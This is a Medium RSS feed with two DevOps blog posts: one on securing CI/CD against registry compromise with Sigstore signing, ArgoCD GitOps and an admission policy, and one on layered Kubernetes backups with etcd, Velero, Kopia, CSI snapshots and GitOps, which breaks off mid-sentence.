<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Shilu on Medium]]></title>
        <description><![CDATA[Stories by Shilu on Medium]]></description>
        <link>https://medium.com/@shilu4577?source=rss-2b418f0e0f5d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*w2kERC3VWnoJ55SH</url>
            <title>Stories by Shilu on Medium</title>
            <link>https://medium.com/@shilu4577?source=rss-2b418f0e0f5d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 04:46:17 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@shilu4577/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[If You Trust Your Registry, You Have a Problem: Securing CI/CD with Sigstore and ArgoCD]]></title>
            <link>https://medium.com/@shilu4577/if-you-trust-your-registry-you-have-a-problem-securing-ci-cd-with-sigstore-and-argocd-29ac9f061d6b?source=rss-2b418f0e0f5d------2</link>
            <guid isPermaLink="false">https://medium.com/p/29ac9f061d6b</guid>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Shilu]]></dc:creator>
            <pubDate>Sun, 26 Apr 2026 13:03:41 GMT</pubDate>
            <atom:updated>2026-04-26T13:03:41.356Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y7DHyEuMnR6_7c5WltFOdA.png" /></figure><p><strong>The Problem Nobody Talks About Honestly</strong></p><p>Everyone talks about securing their application. Firewalls, WAF’s, PenTesting, Vulnerability Scanning. But the Docker image that actaully runs in your cluster, How do you know it is what you think it is ?</p><p>On March 31 2026, A North Korean threat actor compromised the npm account of the top axios maintainer through a weeks long social engineering operation. They used a stolen npm access token to <strong>publish two malicious versions of axios</strong> directly to the <strong>registry</strong>, bypassing the CI Entirely. Withing three hours, anyone who ran npm install axios received a fullly functional cross platform RAT alongside the worlds most popular HTTP client. Over millions weekly downlods, Hunderds of thounsands of CI Pipelines. Developer machines across the globe.</p><p>The axios attack was not sophisticated in its exploit. It was sophisticated in what it revealed: most of the industry has no verification layer between the package registry and their runtime environment. Someone with stolen token can push anything to a registry, tag it latest and world installs it without a question.</p><p>This post walks through the complete supply chain security story. What Sigstore actually solves, where its limits are, and how to build a GitOps delivery pipeline with ArgoCD that enforces signing policy end to end.</p><h3>Understanding the Attack Surface</h3><p>Before talking about solutions, lets be precise about the problem.</p><p><strong><em>A software supply chain attacks are any attack that targets the process of building and delivering the software rather than the software itself. There are lots of attack surface:</em></strong></p><ul><li><strong>Source Code:</strong> Malicious PR merged, compromised developer account</li><li><strong>Build Pipeline:</strong> Injecting code during Compilation</li><li><strong>Registry:</strong> Pushing malicious artifacts with stolen credentials</li><li><strong>Dependencies: </strong>a library you depen on is compromised</li><li><strong>Deployment pipeline:</strong> Tampering with what gets deployed to the production</li></ul><p>Each of thse requires a different mitigation techniques. Sigstore address exactly one of them. Being honest about the boundary is what makes the rest of this article useful.</p><h3>Sigstore: What it Actually Solves</h3><p>Sigstore is a collection of three tools : Cosign, Fulcio, Rekor that together solve one specific problem</p><blockquote>How do I verify the artifact i am downloading from a registry was produced by the CI pipeline or person i trust and that nobody touched it in between.</blockquote><p><strong>That’s it. Registry integrity. Nothing more, nothing less.</strong></p><h3>The Problem with Traditional Signing</h3><p>The Classic solution for Artifact Signing and Verification was GPG. Developers generate a key pair, sign their artifacts, publish their artifact along with the public key somewhere, It failed in practice for two reasons:</p><ol><li><strong>Key Management is painful.</strong> Key get lost, forgotten, stolen. There is no standard place to publish them. Verifying that a public key actually belongs to who claim it does requires out of band trust</li><li><strong>Almost nobody did it</strong>. PyPI, npm, DockerHub adoption of GPG signing across these ecosystemt was near zero because the friction was too high. A security measure nobody uses is not a security measure.</li></ol><p><strong>Sigstore</strong> takes the <strong>SSL/TLS approach</strong>. We solved this problem for website twenty years ago with Certificate Authority (CA), HTTPS, and Let’s Encrypt. Sigstore does the same thing for software artifacts.</p><h3>The Three Components</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aUjIoPLmEpzqUKepwzZ3wA.png" /></figure><p><strong>Cosign</strong> is the tool that does the actual signing. It generates an ephemeral keypair, signs your artifact, and coordinates with Fulcio and Rekor. Think of it as the CLI that ties everything together.</p><p><strong>Fulcio</strong> is the Certificate Authority. When your CI pipeline signs an artifact, it needs to prove who it is. Fulcio accepts an OIDC token the same JWT mechanism used by “Login with Google” from your CI provider (GitHub Actions, Google Cloud Build, etc.), verifies it, and issues a <strong>short-lived X.509 certificate binding your ephemeral public key</strong> to your <strong>CI identity.</strong></p><p><strong>The certificate</strong> is valid for <strong>ten minutes</strong>. That is intentional. The private key exists in <strong>memory for seconds</strong>, signs the artifact, and is discarded. There is nothing to steal and nothing to protect long-term.</p><p><strong>Rekor</strong> is the transparency log. It is an <strong>append-only,</strong> tamper-evident public ledger that records every signing event. When Cosign signs your image, it writes an entry to Rekor containing the artifact digest, the signature, the certificate, and a timestamp that Rekor itself vouches for.</p><p>This is what makes long-term verification possible. The certificate expires in ten minutes, but the Rekor entry is permanent. When you verify an image weeks later, you fetch the Rekor entry, check that Rekor’s own signature on that entry is valid, and use the public key from the expired certificate (preserved in the entry) to verify the signature on the artifact.</p><h3>The Cryptography in Plain Terms</h3><p>The ephemeral private key signs the artifact. The certificate’s only job is to give the verifier a reason to trust the public key.</p><p>Without the certificate, a signature proves nothing about identity. Anyone can generate a keypair and sign anything. The certificate issued by Fulcio after verifying your OIDC token is what says: <em>“</em><strong><em>this public key belongs to GitHub Actions running on alice/myrepo’s main branch.</em></strong><em>”</em></p><h4>The Signing flow is:</h4><ul><li>Cosign generates an ephemeral keypair in memory</li><li>Cosign signs the image digest with the private key</li><li>Cosign sends a CSR (containing the public key) + OIDC token to Fulcio</li><li>Fulcio verifies the OIDC token with GitHub, signs the CSR, issues a 10-minute certificate</li><li>Cosign submits the signature + certificate to Rekor, which timestamps and records it</li><li>Private key is discarded</li><li>Signature + certificate + Rekor entry are attached to the image in the registry</li></ul><h4>Verification later:</h4><ul><li>Fetch the signature and certificate from the registry</li><li>Fetch the Rekor entry</li><li>Check Fulcio’s CA signed the certificate is it a genuine Fulcio cert?</li><li>Check the identity in the certificate matches who you expect</li><li>Use the public key from the certificate to verify the signature on the image digest</li></ul><h3>Back to Axios</h3><p>The axios attacker <strong>bypassed CI entirely</strong> and published directly to <strong>npm</strong> using a <strong>stolen long-lived token.</strong> The malicious versions had no Sigstore signature from the real GitHub Actions identity. If consumers had enforced a policy <strong><em>“only install axios versions that have a valid Sigstore signature from axios’s official GitHub Actions pipeline”</em> </strong>the malicious versions would have been automatically rejected.</p><p>The attacker had the npm token. They did not have the ephemeral Fulcio-issued certificate tied to the real CI identity. Those are two completely separate things. That separation is the entire point.</p><h3>What Sigstore Does Not Protect</h3><p>Being honest here matters:</p><ul><li><strong>Compromised build pipeline</strong> (SolarWinds style): the CI itself is compromised, so the CI identity signs the malicious artifact. Sigstore passes it.</li><li><strong>Malicious code in source</strong>: Sigstore signs whatever CI builds. It does not read your code.</li><li><strong>Compromised dependencies</strong>: your code is clean, but a library you depend on is not. Sigstore has no opinion.</li><li><strong>Vulnerabilities in legitimate code</strong>: a real CVE in legitimately signed code. Not Sigstore’s problem.</li></ul><p>Sigstore is one layer. The axios attack proves it solves a real problem. It just solves a narrow, specific problem.</p><h3>The Pipeline: Structure That Enforces This</h3><p>If signing only happens in CI, then your CI structure determines your security posture. Here is the branching strategy that makes this work, using a Go HTTP server pushed to DockerHub Registry as the concrete example.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LR4PD0QbZxDy_TrGhy6j6A.png" /></figure><h3>Four Trigger Levels</h3><h4><strong>1. Feature branch push fast feedback only</strong></h4><p>Lint with <strong>golangci-lint</strong>, unit tests with <strong>go test ./… </strong>, and a build check with <strong>go build</strong>. No image produced. No registry touched. The goal is feedback in under three minutes.</p><h4>2. <strong>Pull request to main half CI</strong></h4><p><strong>Lint, unit tests, govulncheck</strong> for known Go vulnerabilities, and a local Docker build with <strong>push: false</strong> to verify the Dockerfile is healthy and running vulnerbility scan against the build docker image. The image is loaded into the runner&#39;s Docker daemon, the /<strong>health</strong> endpoint is hit to confirm it starts correctly, then the image is discarded. Nothing reaches Dockerhub.</p><h4>3. <strong>Push to main build, sign, push</strong></h4><p><strong>Full CI</strong> runs again on a clean build. The image is built and pushed to Dockerhub tagged as <strong>docker.io/shilucloud/sigstore-app:&lt;sha&gt;</strong> . Never <strong>latest</strong> mutable tags defeat the purpose of content-addressable signing. Then Cosign signs the image digest:</p><pre>cosign sign --yes docker.io/shilucloud/sigstore-app:@sha256:abc123...</pre><p><strong>Cosign</strong> requests an <strong>OIDC token from GitHub Actions,</strong> sends a CSR to <strong>Fulcio</strong>, gets back a 10-minute certificate, signs the digest with the ephemeral private key, and records everything in Rekor. The private key is gone. The <strong>Rekor</strong> entry is permanent.</p><p>The final step is a commit to the gitops repo bumping the dev overlay’s image tag to <strong>main-&lt;sha&gt;.</strong> ArgoCD picks it up and <strong>deploys</strong>. <strong>CI</strong> never ran <strong>kubectl</strong>.</p><h4><strong>4. Tag push promote, never rebuild</strong></h4><p>This is where most pipelines get it wrong. When a tag like <strong>v1.2.3</strong> is pushed, the instinct is to <strong>rebuild the image</strong>. Do not. The image that passed all your tests was the one built on the main push. Rebuild it and you are deploying a different artifact than what was tested.</p><p>Instead: resolve which commit the tag points to, pull <strong>docker.io/shilucloud/sigstore-app:&lt;sha&gt;</strong>, run <strong>cosign verfiy</strong> to confirm the signature and Rekor entry are valid, retag as <strong>v1.2.3 </strong>, push, update the staging overlay, and open a PR for prod.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eI4V6vfAfQT60Qze0VJ5gw.png" /></figure><h3>GitOps with ArgoCD: CI Stops Touching the Cluster</h3><p>Once you have signed artifacts, the question is how they get deployed. The GitOps model separates this cleanly.</p><h3>The Core Principle</h3><p>CI never runs <strong>kubectl apply</strong>. CI writes to a Git repository describing desired state. ArgoCD watches that repository and reconciles the cluster to match it. Git history becomes your deployment audit trail.</p><h3>Two Repo Structure</h3><p><strong>App repo</strong> contains source code, Dockerfile, and CI workflows. A commit here triggers a build.</p><p><strong>GitOps repo</strong> contains Kubernetes manifests organized by environment using Kustomize overlays or Helm values. A commit here triggers a deployment.</p><p>They are separate because they serve different purposes and different audiences. Mixing them creates circular trigger problems and pollutes your application history with image tag bumps.</p><pre>sigstore-gitops<br>├── apps<br>│   ├── base<br>│   │   ├── deployment.yaml<br>│   │   ├── kustomization.yaml<br>│   │   ├── namespace.yaml<br>│   │   └── service.yaml<br>│   └── overlays<br>│       ├── dev - docker.io/shilucloud/sigstore-app:main-abc123 (1 replica)<br>│       ├── prod - docker.io/shilucloud/sigstore-app:v1.2.3 (2 replicas) <br>│       └── staging - docker.io/shilulcloud/sigstore-app:v1.2.3 (4 replicas)<br>├── argocd<br>│   ├── apps<br>│   │   ├── dev-app.yaml<br>│   │   ├── prod-app.yaml<br>│   │   └── staging-app.yaml<br>│   ├── apps-of-apps.yaml<br>│   └── infra<br>│       └── sigstore-policy-controller.yaml<br>├── policies<br>│   └── sigstore-image-policy.yaml</pre><h3>ArgoCD Application Per Environment</h3><p>Each environment gets its own ArgoCD Application pointing to its overlay. Dev has <strong>automated</strong> sync enabled it deploys immediately when the gitops repo changes. Prod has no automated sync ArgoCD detects drift but waits for a human to approve.</p><h3>The CI to GitOps Bridge</h3><p>When CI builds and signs a new image on main push, the final step is a commit to the gitops repo updating the dev overlay’s image tag. <strong>ArgoCD</strong> sees the <strong>change and deploys</strong>. CI never touched the cluster.</p><p>When a tag is pushed, CI verifies the image signature, retags, updates the staging overlay, lets ArgoCD deploy, runs smoke tests, and then opens a <strong>pull request</strong> to update the prod overlay. <strong>A human reviews</strong> and merges. When merged, <strong>ArgoCD</strong> reconciles <strong>prod</strong>.</p><p>Prod promotion is always a PR. Not a CI push. Not a script. A human-reviewed, Git-tracked change.</p><h3>Enforcing Signing at the Cluster Level</h3><p>Do not stop at <strong>CI verification</strong>. Enforce signing inside the cluster using <strong>Sigstore’s Policy Controller an admission webhook</strong> that rejects pods whose images do not carry a valid Cosign signature from your approved identity:</p><pre>apiVersion: policy.sigstore.dev/v1beta1<br>kind: ClusterImagePolicy<br>metadata:<br>  name: sigstore-app-github-keyless-only<br><br>spec:<br>  mode: enforce<br><br>  images:<br>    - glob: &quot;index.docker.io/shilucloud/sigstore-app*&quot;<br><br>  authorities:<br>    - name: github-actions<br>      keyless:<br>        url: https://fulcio.sigstore.dev<br><br>        identities:<br>          - issuer: https://token.actions.githubusercontent.com<br>            subject: https://github.com/shilucloud/sigstore-app/.github/workflows/main.yaml@refs/heads/main</pre><p>Now even if someone bypasses ArgoCD and runs<strong> kubectl apply</strong> manually with an unsigned image, the cluster rejects it. ArgoCD is not your only gate. The cluster itself enforces the policy.</p><pre>feature branch push<br> → lint + unit tests<br> → fast feedback, no artifacts<br>PR → main<br> → full tests + local docker build (no push)<br> → gate: must pass before merge<br>push → main<br> → full CI (clean build)<br> → cosign sign + push as main-abc123<br> → update gitops/overlays/dev<br> → ArgoCD auto syncs dev<br>tag v1.2.3<br> → cosign verify main-abc123<br> → retag as v1.2.3  (no rebuild of image)<br> → update gitops/overlays/staging<br> → ArgoCD auto syncs staging<br> → smoke tests<br> → open PR to update gitops/overlays/prod<br>PR merged<br> → ArgoCD detects drift<br> → human approves sync<br> → cluster admission webhook cosign verifies before pod starts<br> → deployed to prod<br> → smoke tests</pre><p>Every artifact is signed. Every promotion is tracked. Every deploy to production is human-reviewed and Git-recorded. The cluster enforces signing policy independently of CI and ArgoCD. No single point of failure in the verification chain.</p><h3>Key Principles to Take Away</h3><p><strong>Sigstore protects the registry boundary.</strong> It tells you the artifact you are pulling is exactly what your CI pushed or trusted person pushed, and nobody touched it in between. It does not protect anything upstream of that.</p><p><strong>The same image digest travels through all environments.</strong> Never rebuild for staging or production. The <strong>sha256</strong> <strong>digest</strong> is your identity guarantee. Cosign’s signature is on the digest, not the tag.</p><p><strong>CI writes to Git, ArgoCD reads from Git.</strong> CI never touches the cluster directly. Git history is your deployment audit trail.</p><p><strong>Prod promotion is always a human-reviewed PR.</strong> Not a CI push. Not a script. A change that someone reviewed, approved, and merged.</p><p><strong>Verify at every gate, not just once.</strong> Cosign verification happens in CI at tag time, and again inside the cluster via the admission webhook. ArgoCD is not your only gate.</p><h3>The Code</h3><p>Everything described in this post is implemented and working. If you want to look at the actual workflows, manifests, or signing policy rather than reading about them:</p><ul><li><strong>App repo</strong> (Go server + all four CI workflows): <a href="https://github.com/shilucloud/sigstore-app">github.com/shilucloud/sigstore-app</a></li><li><strong>GitOps repo</strong> (Kustomize overlays + ArgoCD Applications + ClusterImagePolicy): <a href="https://github.com/shilucloud/sigstore-gitops">github.com/shilucloud/sigstore-gitops</a></li></ul><p>The <strong>axios attack happened</strong> because a stolen token was enough to push to a registry and the <strong>world installed it without question</strong>. The pipeline described in this post makes a stolen token insufficient. You also need the CI identity. You also need the cluster to accept your image. You also need a human to approve the prod promotion.</p><p>Not every attack is preventable. But making attackers need to compromise multiple independent systems your registry credentials, your CI identity, your cluster admission policy, your GitOps approval process is the difference between a three-hour blast radius and an attack that never lands.</p><p><strong><em>The axios supply chain attack (March 2026) was attributed to UNC1069 / Sapphire Sleet, a North Korea-nexus threat actor. Malicious versions 1.14.1 and 0.30.4 were live for approximately three hours before being removed by npm. If your pipelines ran npm install during that window, rotate all secrets and credentials immediately and follow remediation guidance from Google GTIG, Microsoft Threat Intelligence, and Elastic Security Labs.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=29ac9f061d6b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[etcd Snapshots Are Not a Backup Strategy. Here’s What Actually Is]]></title>
            <link>https://medium.com/@shilu4577/etcd-snapshots-are-not-a-backup-strategy-heres-what-actually-is-460a36194eb0?source=rss-2b418f0e0f5d------2</link>
            <guid isPermaLink="false">https://medium.com/p/460a36194eb0</guid>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[platform-engineering]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[sre]]></category>
            <category><![CDATA[kubernetes]]></category>
            <dc:creator><![CDATA[Shilu]]></dc:creator>
            <pubDate>Sun, 12 Apr 2026 13:48:45 GMT</pubDate>
            <atom:updated>2026-04-12T13:52:33.919Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/299/1*tBVAvOrH5kYlwZYYGFG-wQ.png" /></figure><p>You set up etcd snapshots, checked the box, and moved on. Your cluster is backed up or so you think. Then disaster strikes, and you realize your persistent volumes are gone, your namespaces didn’t restore cleanly, and half your configs are missing. The snapshot was there. But the backup strategy wasn’t.</p><p>When we talk about disaster recovery in Kubernetes, the first instinct is usually <strong><em>“just back up the cluster”</em></strong> but what exactly does that mean? What components actually need to be backed up, and which tools should you use? This is where most teams get confused, and dangerously overconfident.</p><p>The hard truth is <strong>etcd snapshots only save part of your cluster</strong>. They don’t protect your persistent volume data, your application state, or even guarantee a clean resource restore in many real-world scenarios. A complete Kubernetes backup isn’t one tool or one command it’s a <strong>layered strategy</strong>, where each layer protects something different.</p><p>In this blog, we’ll break down exactly what those layers are, which tools handle each one <strong>etcd snapshots, Velero, Kopia, CSI Snapshots, and GitOps</strong> how they differ from each other, and most importantly, how they complement each other to give you a disaster recovery plan you can actually trust.</p><h3>etcd Snapshot vs Velero: How They Actually Differ</h3><h4>etcd Snapshot: Low Level Cluster State Backup</h4><p>etcd snapshot talks directly to the etcd cluster, completely bypassing the kubernetes API. it captures the entire cluster state as low-level binary snapshot every object, every key-value pair that Kubernetes uses to track your cluster.</p><pre>etcdctl snapshot save /backup/etcd-snapshot.db \<br> - endpoints=https://127.0.0.1:2379 \<br> - cacert=/etc/kubernetes/pki/etcd/ca.crt \<br> - cert=/etc/kubernetes/pki/etcd/server.crt \<br> - key=/etc/kubernetes/pki/etcd/server.key</pre><p>It is All or Nothing, you restore the entire cluster state or nothing at all. No namespace level granularity, no resource-level selectivity. Just a full binary rollback to the exact moment the snapshot was taken.</p><h4>Velero: Kubernetes Native Backup Solution</h4><p>Velero takes a completely different approach, it runs as a controller inside your kubernetes cluster and talks to the Kubernetes API, the same ways kubectl does. Instead of capturing a low-lvel binary blob, it exports your cluster resources as a YAML/JSON manifests the same human readable format you use to define your workloads.</p><pre># velero backs up resources by talking to the kubernetes api<br>velero backup create payments-backup \<br> - include-namespaces payments \<br> - include-resources deployments,services,configmaps,secrets</pre><p>This give you something etcd snapshots can never offer granualrity</p><ul><li>Backup and restore a single namespace.</li><li>Backup and restore a specific resource type.</li><li>Backup and restore across different cluster.</li><li>schedule backups at different frequencies for different namespaces.</li></ul><p>Because the velero speaks to Kubernetes API. It is also portable. You can take a backup from one cluster and restore it into completely different cluster cleanly.</p><h4>What both Miss: Persistent Volume Data</h4><p>Here is the critical gap both etcd snapshot and velero only store the manifest of the PersistentVolume , not the actual data inside it.</p><p>They both know that a PVC named <strong>payments-db-pvc</strong> exists, what storage class it uses, and what it is bound to. But the actual bytes on disk. Your postgres tables your application files, your uploaded content neither of them touches that.</p><p><em>Think of it this way they both back up the address of your house, but neither of them moves your furniture.</em></p><h4>How Veleor Closes the PV GAP: Kopia Integraion</h4><p>This is where Velero goes further with an optional but powerful integration <strong>Kopia</strong>. <strong>Kopia</strong> runs as a <strong>DaemonSet</strong> on every node, so it has access to the host filesystem. It finds the correct pod volume mount path, reads the data from <strong>mount/ directory</strong>, chunks it, compresses it, encrypts it and ships it to S3.</p><p>When enabled, Velero uses Kopia to perform a <strong>file-level backup of the actual PV data</strong> and ships it to an object store like S3. What makes Kopia particularly good at this:</p><ul><li><strong>File-level backup: </strong>it reads the actual data inside the volume, not just the volume definition</li><li><strong>Chunking: </strong>data is split into chunks before upload, making large volume backups efficient and resumable</li><li><strong>Compression: </strong>chunks are compressed before storage, reducing S3 storage costs significantly</li><li><strong>Content addressable storage: </strong>each chunk is identified by the <strong>hash of its content</strong>, not its name or location. This means if the same data exists in two different volumes, it is stored <strong>only once</strong>. Deduplication happens automatically and efficiently.</li><li><strong>Encryption: </strong>chunks are encrypted before they leave the cluster</li></ul><pre># enable kopia integration when installing velero<br>velero install \<br> - use-node-agent \<br> - default-volumes-to-fs-backup<br><br># annotate your pod to backup PV data via kopia<br>backup.velero.io/backup-volumes: payments-db-volume</pre><p>Velero orchestrates the whole thing it handles the Kubernetes side, Kopia handles the data side, and everything lands in S3 as deduplicated, compressed, encrypted chunks.</p><h3>CSI Snapshots: A Photograph of Your Storage</h3><p>If Kopia backs up your data at the <strong>file level</strong>, CSI Snapshots work at a completely different layer the <strong>storage level</strong>. Think of it like taking a photograph of your entire hard drive EBS, GCP Persistent Disk, Azure Disk at an exact point in time, right at the cloud storage layer.</p><p><strong>For example, when you take a CSI Snapshot on EKS backed by EBS:</strong></p><ul><li>AWS creates a <strong>new EBS volume</strong> that is an exact copy of your original volume at that exact moment</li><li>Every block, every byte copied as it was at snapshot time</li><li>That snapshot lives in your <strong>cloud account</strong>, independent of your Kubernetes cluster</li></ul><pre>apiVersion: snapshot.storage.k8s.io/v1<br>kind: VolumeSnapshot<br>metadata:<br>  name: payments-db-snapshot<br>  namespace: payments<br>spec:<br>  volumeSnapshotClassName: csi-aws-vsc<br>  source:<br>    persistentVolumeClaimRef:<br>      name: payments-db-pvc</pre><p>When you trigger this, Kubernetes talks to the <strong>CSI driver</strong> (in this case the EBS CSI driver), which tells AWS to snapshot that EBS volume. The result is a <strong>ready-to-mount EBS snapshot</strong> sitting in your AWS account completely independent of your cluster.</p><p>Restore is equally straightforward you create a new PVC from that snapshot and AWS spins up a new EBS volume with all your data exactly as it was:</p><pre>apiVersion: v1<br>kind: PersistentVolumeClaim<br>metadata:<br>  name: payments-db-pvc-restored<br>spec:<br>  dataSource:<br>    name: payments-db-snapshot<br>    kind: VolumeSnapshot<br>    apiGroup: snapshot.storage.k8s.io<br>  accessModes:<br>    - ReadWriteOnce<br>  resources:<br>    requests:<br>      storage: 20Gi</pre><h3>Kopia vs CSI Snapshots: File Level vs Storage Level</h3><p>Both Kopia and CSI Snapshots solve the<strong> PV data problem but they do it in completely different ways.</strong></p><p>Kopia works at the <strong>file level</strong>. It looks into the<strong> /var/lib/kubelet/pods/&lt;pod-uid&gt;/kubernetes.io~csi/&lt;pv-name&gt;/mount/ </strong>directory inside your node, reads all the files and directories of your volume, chunks the data, compresses it, encrypts it and pushes it to an object store like S3.</p><p>CSI Snapshots on the other hand work at the <strong>storage level</strong> they snapshot the actual volume in the cloud. If you’re on EKS it snapshots the EBS volume, GKE it snapshots the GCP Persistent Disk and so on.</p><h4>The Key Difference Cloud Coupling</h4><p>This is where they fundamentally differ:</p><p><strong>CSI Snapshots are tightly coupled to the cloud.</strong> An EBS snapshot lives in AWS you can’t take that snapshot and restore it on GKE or on-prem. It is a cloud-native, cloud-specific operation.</p><p><strong>Kopia is completely cloud agnostic.</strong> Because it works at the file level and pushes to object storage like S3, the data is just files and chunks in a bucket. You can restore it on any cloud, any cluster, even on-prem as long as you can mount a volume and access the object store.</p><blockquote>CSI Snapshots give you speed restore a volume in minutes within the same cloud. Kopia gives you portability restore your data anywhere, even if your entire cloud region goes down.</blockquote><p>Use both together CSI Snapshots for <strong>fast local recovery</strong>, Kopia for <strong>durable offsite recovery</strong>.</p><h3>GitOps as a Backup Layer: Git as Your Single Source of Truth</h3><p>The idea here is simple but powerful <strong>Git is your single source of truth for everything</strong>.</p><p>Every manifest that goes into your cluster whether it is raw Kubernetes manifests, Helm charts, or Kustomize overlays always lives in Git first. Nothing gets applied to the cluster directly. No manual <strong>kubectl apply</strong> , no imperative changes. Git is the only door.</p><pre>Git Repository<br>├── namespaces/<br>├── deployments/<br>├── services/<br>├── configmaps/<br>├── helm/<br>│   └── payments/<br>│       └── values.yaml<br>└── kustomize/<br>    └── overlays/<br>        ├── staging/<br>        └── production/</pre><p>On top of that, a GitOps operator like <strong>ArgoCD or FluxCD</strong> continuously reconciles the <strong>desired state in Git</strong> with the <strong>current state in the cluster</strong>. If someone manually changes something on the cluster, the operator detects the drift and brings it back to what Git says it should be.</p><pre># argocd application watching your git repo<br>apiVersion: argoproj.io/v1alpha1<br>kind: Application<br>metadata:<br>  name: payments<br>spec:<br>  source:<br>    repoURL: https://github.com/your-org/k8s-manifests<br>    targetRevision: HEAD<br>    path: apps/payments<br>  destination:<br>    server: https://kubernetes.default.svc<br>    namespace: payments<br>  syncPolicy:<br>    automated:<br>      prune: true<br>      selfHeal: true</pre><h3>What About Secrets?</h3><p>Secrets are the tricky part you obviously can’t push raw secrets to Git. This is where <strong>External Secrets Operator (ESO)</strong> comes in.</p><p>Instead of storing the actual secret value in Git, you store an <strong>ExternalSecret</strong> manifest that points to where the real secret lives AWS Secrets Manager, HashiCorp Vault, GCP Secret Manager etc. ESO pulls the actual secret value at runtime and creates the Kubernetes secret for you.</p><pre>apiVersion: external-secrets.io/v1beta1<br>kind: ExternalSecret<br>metadata:<br>  name: stripe-api-key<br>  namespace: payments<br>spec:<br>  secretStoreRef:<br>    name: aws-secrets-manager<br>    kind: ClusterSecretStore<br>  target:<br>    name: stripe-api-key<br>  data:<br>    - secretKey: key<br>      remoteRef:<br>        key: prod/payments/stripe</pre><p>The actual secret value never touches Git but the <strong>intent and reference</strong> is always in Git. That is the right balance between security and GitOps compliance.</p><h3>Why This is a Backup Layer</h3><p>Here is the key insight <strong>if your entire cluster goes down or gets corrupted tomorrow</strong>, you don’t need to restore manifests from Velero or etcd. You just:</p><ol><li>Spin up a new cluster</li><li>Install ArgoCD or FluxCD</li><li>Point it at your Git repository</li><li>Everything reconciles automatically</li></ol><pre># point argocd at your git repo on a fresh cluster<br>argocd app create cluster-bootstrap \<br>  --repo https://github.com/your-org/k8s-manifests \<br>  --path cluster/bootstrap \<br>  --dest-server https://kubernetes.default.svc \<br>  --sync-policy automated</pre><p>Your entire cluster configuration every deployment, every service, every configmap, every ingress rule comes back automatically. Git was your backup all along, you just didn’t call it that.</p><blockquote>GitOps doesn’t just give you a backup it gives you a continuously verified, always up to date, instantly restorable desired state. No other backup tool can claim that.</blockquote><h3>The Complete Layered Backup Strategy</h3><p>Now that we’ve covered each tool individually, let’s put it all together. A complete Kubernetes backup strategy is not one tool it is <strong>five layers, each protecting something different</strong>.</p><p>The Five Layers</p><pre>┌─────────────────────────────────────────────────────────────┐<br>│                    Layer 5 — GitOps                          │<br>│         Git as single source of truth for all manifests      │<br>│              ArgoCD / FluxCD + ESO for secrets               │<br>├─────────────────────────────────────────────────────────────┤<br>│                    Layer 4 — Velero                          │<br>│         Kubernetes native resource backup via K8s API        │<br>│          Namespace, resource level granular backup           │<br>├─────────────────────────────────────────────────────────────┤<br>│                    Layer 3 — CSI Snapshots                   │<br>│         Point-in-time storage level snapshot                 │<br>│              Fast local recovery within same cloud           │<br>├─────────────────────────────────────────────────────────────┤<br>│                    Layer 2 — Kopia                           │<br>│         File level backup of PV data to S3                   │<br>│         Chunked, compressed, encrypted, cloud agnostic       │<br>├─────────────────────────────────────────────────────────────┤<br>│                    Layer 1 — etcd Snapshot                   │<br>│         Low level cluster state backup                       │<br>│              Last resort emergency brake                     │<br>└─────────────────────────────────────────────────────────────┘</pre><h3>What Each Layer Protects</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dndrFe-GjRCYJU2LeC53uA.png" /></figure><h3>How They Complement Each Other</h3><p><strong>etcd snapshot</strong> is your last resort. It protects the control plane state and is useful for same-cluster recovery scenarios. It is not your primary strategy it is your emergency brake.</p><p><strong>Velero</strong> is your primary Kubernetes backup tool. It talks to the Kubernetes API, backs up your resources as YAML/JSON, and gives you granular namespace and resource level restore. It is portable across clusters and works independently of your underlying cloud.</p><p><strong>CSI Snapshots</strong> give you fast, storage-level point-in-time recovery. When you need to restore a volume quickly within the same cloud, CSI snapshots are the fastest path. They are cloud coupled but blazing fast.</p><p><strong>Kopia</strong> gives you durability and portability for your PV data. It backs up the actual bytes on your volumes to S3 as deduplicated, compressed, encrypted chunks. Even if your entire cloud region goes down, your data is safe in object storage and can be restored anywhere.</p><p><strong>GitOps</strong> is your always-on, continuously verified backup for everything declarative. Every manifest, every helm value, every kustomize overlay lives in Git. Even if your cluster is completely destroyed, a fresh cluster pointed at your Git repository reconciles everything back automatically.</p><h3>When Each Layer Saves You</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bv528wAX8tto9Pi7povbMg.png" /></figure><p><strong>The Golden Rule</strong></p><p>No single tool gives you complete coverage. etcd knows nothing about your PV data. Velero knows nothing about your storage blocks. CSI Snapshots are useless outside your cloud. Kopia doesn’t know about your Kubernetes resources. GitOps can’t restore your database. <strong>You need all five layers because each one catches what the others miss.</strong></p><h3>A Day in the Life of Your Backup Strategy</h3><p>Here is what this looks like running continuously in production:</p><pre>Every 15 minutes  →  Velero backs up all namespaces to 